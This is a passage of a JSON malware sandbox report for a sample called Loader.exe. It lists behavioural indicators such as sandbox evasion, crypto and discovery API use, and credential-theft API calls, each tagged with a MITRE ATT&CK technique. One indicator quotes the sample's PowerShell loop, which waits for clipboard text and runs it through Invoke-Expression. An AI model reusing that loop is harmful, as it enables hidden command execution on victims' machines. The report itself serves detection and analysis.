Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"Found string \"while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }\" (Indicator: \"Start-Sleep\"; File: \"00000000-00005928\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Loader.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"FreeLibrary\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"Loader.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$26","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00004092.00000001.292655.7B864000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$27","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$28","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00004092.00000000.291813.61280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"$29","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to perform archive via gzip Library","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-725","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor byte ptr [rbx]\n al in Stream UID: 18500-19183-000000014026DE0D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"Loader.exe\")\n Found reference to API \"syscall.CertCloseStore\" (Indicator: \"CertCloseStore\"; File: \"Loader.exe\")\n Found reference to API \"syscall.CertFreeCertificateContext\" (Indicator: \"CertFreeCertificateContext\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00004092.00000000.291813.61280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00004092.00000001.292655.A51D0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00004092.00000001.292655.A5260000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains possible references to Golang crypto modules","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"file/memory contains long string with (Indicator: \"public key\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"private key\"; File: \"Loader.exe\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2e","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2f","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007308-00000C2C-3490231299\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007308-00000C2C-3491747495\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"ystem.Identity.QualifiedUserName\" (Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"ystem.Identity.UserName\" (Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"ystem.UserName\" (Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"System.Identity.UserName\" (Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")\n Found string \"System.Identity.QualifiedUserName\" (Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")\n Found string \"System.UserName\" (Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")\n Found string \"etUserNameA\" (Source: \"00000000-00005928.00000000.292885.E2760000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00004092.00000001.292655.736A0000.00000004.mdmp\")\n Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00004092.00000001.292655.736A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007308-00000C2C-3490231299\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007308-00000C2C-3491747495\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"Loader.exe\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"Loader.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007632-00000C2C-3485080548\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00008272-00000C2C-3555377736\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007308-00000C2C-3488339216\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007308-00000C2C-3488339912\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007308-00000C2C-3493334534\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007308-00000C2C-3493334577\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"Loader.exe\")\n Found reference to API \"syscall.GetAddrInfoW\" (Indicator: \"getaddrinfo\"; File: \"Loader.exe\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00007632-00000C2C-3486496972\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"Loader.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"Loader.exe\"\n Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"Loader.exe\"\n Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"Loader.exe\"\n Found system information discovery API: \"RtlNtStatusToDosError (in long string)\" in file \"Loader.exe\"\n Found system information discovery API: \"syscall.GetEnvironmentStrings\" in file \"Loader.exe\"\n Found system information discovery API: \"RtlNtStatusToDosErrorNoTeb\" in \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"Found string \"ystem.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"System.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00007308-00000C2C-3491608696\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00007308-00000C2C-3491608742\")\n Found reference to API \"SendMessage\" (Indicator: \"sendmessage\"; Source: \"00000000-00007308-00000C2C-3506540830\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00007308-00000C2C-3506541397\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007308)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"Loader.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"Loader.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004092)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007308)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004092)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"5533127888\" - (UID: 00000000-00004092)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00008248)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005928)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"powershell.exe\" called \"GetActiveWindow\" (UID: 00000000-00007308)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Loader.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007632)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007308)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007308)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007308)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004092)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004092)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00008248)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00008248)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007308)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007308)\n \"806964ff31e2acc80.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00008272)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004092)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004092)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00008248)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00008248)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005928)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005928)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"Loader.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: 